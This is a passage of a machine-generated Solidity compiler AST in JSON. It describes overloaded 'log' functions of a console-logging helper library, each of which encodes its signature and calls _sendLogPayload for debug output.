memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":26996,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"28875:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":27005,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"28875:93:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":27006,"nodeType":"ExpressionStatement","src":"28875:93:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"28802:3:15","parameters":{"id":26994,"nodeType":"ParameterList","parameters":[{"constant":false,"id":26987,"mutability":"mutable","name":"p0","nameLocation":"28814:2:15","nodeType":"VariableDeclaration","scope":27008,"src":"28806:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26986,"name":"uint256","nodeType":"ElementaryTypeName","src":"28806:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26989,"mutability":"mutable","name":"p1","nameLocation":"28823:2:15","nodeType":"VariableDeclaration","scope":27008,"src":"28818:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":26988,"name":"bool","nodeType":"ElementaryTypeName","src":"28818:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":26991,"mutability":"mutable","name":"p2","nameLocation":"28835:2:15","nodeType":"VariableDeclaration","scope":27008,"src":"28827:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":26990,"name":"address","nodeType":"ElementaryTypeName","src":"28827:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":26993,"mutability":"mutable","name":"p3","nameLocation":"28847:2:15","nodeType":"VariableDeclaration","scope":27008,"src":"28839:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26992,"name":"uint256","nodeType":"ElementaryTypeName","src":"28839:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"28805:45:15"},"returnParameters":{"id":26995,"nodeType":"ParameterList","parameters":[],"src":"28865:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":27031,"nodeType":"FunctionDefinition","src":"28981:187:15","nodes":[],"body":{"id":27030,"nodeType":"Block","src":"29059:109:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c626f6f6c2c616464726573732c737472696e6729","id":27022,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"29109:34:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_ade052c70a8f7736e3d4ca12bfb5de52ba51cd4551a71eb41200e5ca9b193461","typeString":"literal_string \"log(uint256,bool,address,string)\""},"value":"log(uint256,bool,address,string)"},{"id":27023,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27010,"src":"29145:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":27024,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27012,"src":"29149:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":27025,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27014,"src":"29153:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":27026,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27016,"src":"29157:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_ade052c70a8f7736e3d4ca12bfb5de52ba51cd4551a71eb41200e5ca9b193461","typeString":"literal_string \"log(uint256,bool,address,string)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":27020,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"29085:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":27021,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"29089:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"29085:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":27027,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"29085:75:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":27019,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"29069:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":27028,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"29069:92:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":27029,"nodeType":"ExpressionStatement","src":"29069:92:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"28990:3:15","parameters":{"id":27017,"nodeType":"ParameterList","parameters":[{"constant":false,"id":27010,"mutability":"mutable","name":"p0","nameLocation":"29002:2:15","nodeType":"VariableDeclaration","scope":27031,"src":"28994:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27009,"name":"uint256","nodeType":"ElementaryTypeName","src":"28994:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":27012,"mutability":"mutable","name":"p1","nameLocation":"29011:2:15","nodeType":"VariableDeclaration","scope":27031,"src":"29006:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":27011,"name":"bool","nodeType":"ElementaryTypeName","src":"29006:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":27014,"mutability":"mutable","name":"p2","nameLocation":"29023:2:15","nodeType":"VariableDeclaration","scope":27031,"src":"29015:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":27013,"name":"address","nodeType":"ElementaryTypeName","src":"29015:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":27016,"mutability":"mutable","name":"p3","nameLocation":"29041:2:15","nodeType":"VariableDeclaration","scope":27031,"src":"29027:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27015,"name":"string","nodeType":"ElementaryTypeName","src":"29027:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"28993:51:15"},"returnParameters":{"id":27018,"nodeType":"ParameterList","parameters":[],"src":"29059:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":27054,"nodeType":"FunctionDefinition","src":"29174:176:15","nodes":[],"body":{"id":27053,"nodeType":"Block","src":"29243:107:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c626f6f6c2c616464726573732c626f6f6c29","id":27045,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"29293:32:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_454d54a5a1119d55883b5fbee0d6f19af54017eb1650d2284224aac472880f6a","typeString":"literal_string \"log(uint256,bool,address,bool)\""},"value":"log(uint256,bool,address,bool)"},{"id":27046,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27033,"src":"29327:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":27047,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27035,"src":"29331:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":27048,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27037,"src":"29335:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":27049,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27039,"src":"29339:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_454d54a5a1119d55883b5fbee0d6f19af54017eb1650d2284224aac472880f6a","typeString":"literal_string \"log(uint256,bool,address,bool)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":27043,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"29269:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":27044,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"29273:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"29269:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":27050,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"29269:73:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":27042,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"29253:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":27051,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"29253:90:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":27052,"nodeType":"ExpressionStatement","src":"29253:90:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"29183:3:15","parameters":{"id":27040,"nodeType":"ParameterList","parameters":[{"constant":false,"id":27033,"mutability":"mutable","name":"p0","nameLocation":"29195:2:15","nodeType":"VariableDeclaration","scope":27054,"src":"29187:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27032,"name":"uint256","nodeType":"ElementaryTypeName","src":"29187:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":27035,"mutability":"mutable","name":"p1","nameLocation":"29204:2:15","nodeType":"VariableDeclaration","scope":27054,"src":"29199:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":27034,"name":"bool","nodeType":"ElementaryTypeName","src":"29199:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":27037,"mutability":"mutable","name":"p2","nameLocation":"29216:2:15","nodeType":"VariableDeclaration","scope":27054,"src":"29208:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":27036,"name":"address","nodeType":"ElementaryTypeName","src":"29208:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":27039,"mutability":"mutable","name":"p3","nameLocation":"29225:2:15","nodeType":"VariableDeclaration","scope":27054,"src":"29220:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":27038,"name":"bool","nodeType":"ElementaryTypeName","src":"29220:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"29186:42:15"},"returnParameters":{"id":27041,"nodeType":"ParameterList","parameters":[],"src":"29243:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":27077,"nodeType":"FunctionDefinition","src":"29356:182:15","nodes":[],"body":{"id":27076,"nodeType":"Block","src":"29428:110:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c626f6f6c2c616464726573732c6164647265737329","id":27068,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"29478:35:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_a1ef4cbbfd0316a849f14b661567c9c341a49bccb745dfb6a3d9b82c389ac190","typeString":"literal_string \"log(uint256,bool,address,address)\""},"value":"log(uint256,bool,address,address)"},{"id":27069,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27056,"src":"29515:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":27070,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27058,"src":"29519:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":27071,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27060,"src":"29523:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":27072,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27062,"src":"29527:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_a1ef4cbbfd0316a849f14b661567c9c341a49bccb745dfb6a3d9b82c389ac190","typeString":"literal_string \"log(uint256,bool,address,address)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":27066,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"29454:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":27067,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"29458:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"29454:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":27073,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"29454:76:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":27065,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"29438:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":27074,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"29438:93:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":27075,"nodeType":"ExpressionStatement","src":"29438:93:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"29365:3:15","parameters":{"id":27063,"nodeType":"ParameterList","parameters":[{"constant":false,"id":27056,"mutability":"mutable","name":"p0","nameLocation":"29377:2:15","nodeType":"VariableDeclaration","scope":27077,"src":"29369:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27055,"name":"uint256","nodeType":"ElementaryTypeName","src":"29369:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":27058,"mutability":"mutable","name":"p1","nameLocation":"29386:2:15","nodeType":"VariableDeclaration","scope":27077,"src":"29381:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":27057,"name":"bool","nodeType":"ElementaryTypeName","src":"29381:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":27060,"mutability":"mutable","name":"p2","nameLocation":"29398:2:15","nodeType":"VariableDeclaration","scope":27077,"src":"29390:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":27059,"name":"address","nodeType":"ElementaryTypeName","src":"29390:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":27062,"mutability":"mutable","name":"p3","nameLocation":"29410:2:15","nodeType":"VariableDeclaration","scope":27077,"src":"29402:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":27061,"name":"address","nodeType":"ElementaryTypeName","src":"29402:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"29368:45:15"},"returnParameters":{"id":27064,"nodeType":"ParameterList","parameters":[],"src":"29428:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":27100,"nodeType":"FunctionDefinition","src":"29544:188:15","nodes":[],"body":{"id":27099,"nodeType":"Block","src":"29619:113:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c616464726573732c75696e743235362c75696e7432353629","id":27091,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"29669:38:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_0c9cd9c12a2e17a9af800ac7e9a2b379066135ecb5b197bdb13381ac61cbc59a","typeString":"literal_string \"log(uint256,address,uint256,uint256)\""},"value":"log(uint256,address,uint256,uint256)"},{"id":27092,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27079,"src":"29709:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":27093,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27081,"src":"29713:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":27094,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27083,"src":"29717:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":27095,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27085,"src":"29721:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_0c9cd9c12a2e17a9af800ac7e9a2b379066135ecb5b197bdb13381ac61cbc59a","typeString":"literal_string \"log(uint256,address,uint256,uint256)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":27089,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"29645:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":27090,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"29649:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"29645:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":27096,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"29645:79:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":27088,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"29629:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":27097,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"29629:96:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":27098,"nodeType":"ExpressionStatement","src":"29629:96:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"29553:3:15","parameters":{"id":27086,"nodeType":"ParameterList","parameters":[{"constant":false,"id":27079,"mutability":"mutable","name":"p0","nameLocation":"29565:2:15","nodeType":"VariableDeclaration","scope":27100,"src":"29557:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27078,"name":"uint256","nodeType":"ElementaryTypeName","src":"29557:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":27081,"mutability":"mutable","name":"p1","nameLocation":"29577:2:15","nodeType":"VariableDeclaration","scope":27100,"src":"29569:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":27080,"name":"address","nodeType":"ElementaryTypeName","src":"29569:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":27083,"mutability":"mutable","name":"p2","nameLocation":"29589:2:15","nodeType":"VariableDeclaration","scope":27100,"src":"29581:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27082,"name":"uint256","nodeType":"ElementaryTypeName","src":"29581:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":27085,"mutability":"mutable","name":"p3","nameLocation":"29601:2:15","nodeType":"VariableDeclaration","scope":27100,"src":"29593:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27084,"name":"uint256","nodeType":"ElementaryTypeName","src":"29593:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"29556:48:15"},"returnParameters":{"id":27087,"nodeType":"ParameterList","parameters":[],"src":"29619:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":27123,"nodeType":"FunctionDefinition","src":"29738:193:15","nodes":[],"body":{"id":27122,"nodeType":"Block","src":"29819:112:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c616464726573732c75696e743235362c737472696e6729","id":27114,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"29869:37:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_ddb06521f885b932f9898b05830c564a50fea82133f47ad308278affbd84d0bd","typeString":"literal_string \"log(uint256,address,uint256,string)\""},"value":"log(uint256,address,uint256,string)"},{"id":27115,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27102,"src":"29908:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":27116,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27104,"src":"29912:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":27117,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27106,"src":"29916:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":27118,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27108,"src":"29920:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_ddb06521f885b932f9898b05830c564a50fea82133f47ad308278affbd84d0bd","typeString":"literal_string \"log(uint256,address,uint256,string)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":27112,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"29845:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":27113,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"29849:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"29845:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":27119,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"29845:78:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":27111,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"29829:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":27120,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"29829:95:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":27121,"nodeType":"ExpressionStatement","src":"29829:95:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"29747:3:15","parameters":{"id":27109,"nodeType":"ParameterList","parameters":[{"constant":false,"id":27102,"mutability":"mutable","name":"p0","nameLocation":"29759:2:15","nodeType":"VariableDeclaration","scope":27123,"src":"29751:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27101,"name":"uint256","nodeType":"ElementaryTypeName","src":"29751:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":27104,"mutability":"mutable","name":"p1","nameLocation":"29771:2:15","nodeType":"VariableDeclaration","scope":27123,"src":"29763:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":27103,"name":"address","nodeType":"ElementaryTypeName","src":"29763:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":27106,"mutability":"mutable","name":"p2","nameLocation":"29783:2:15","nodeType":"VariableDeclaration","scope":27123,"src":"29775:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27105,"name":"uint256","nodeType":"ElementaryTypeName","src":"29775:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":27108,"mutability":"mutable","name":"p3","nameLocation":"29801:2:15","nodeType":"VariableDeclaration","scope":27123,"src":"29787:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27107,"name":"string","nodeType":"ElementaryTypeName","src":"29787:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visi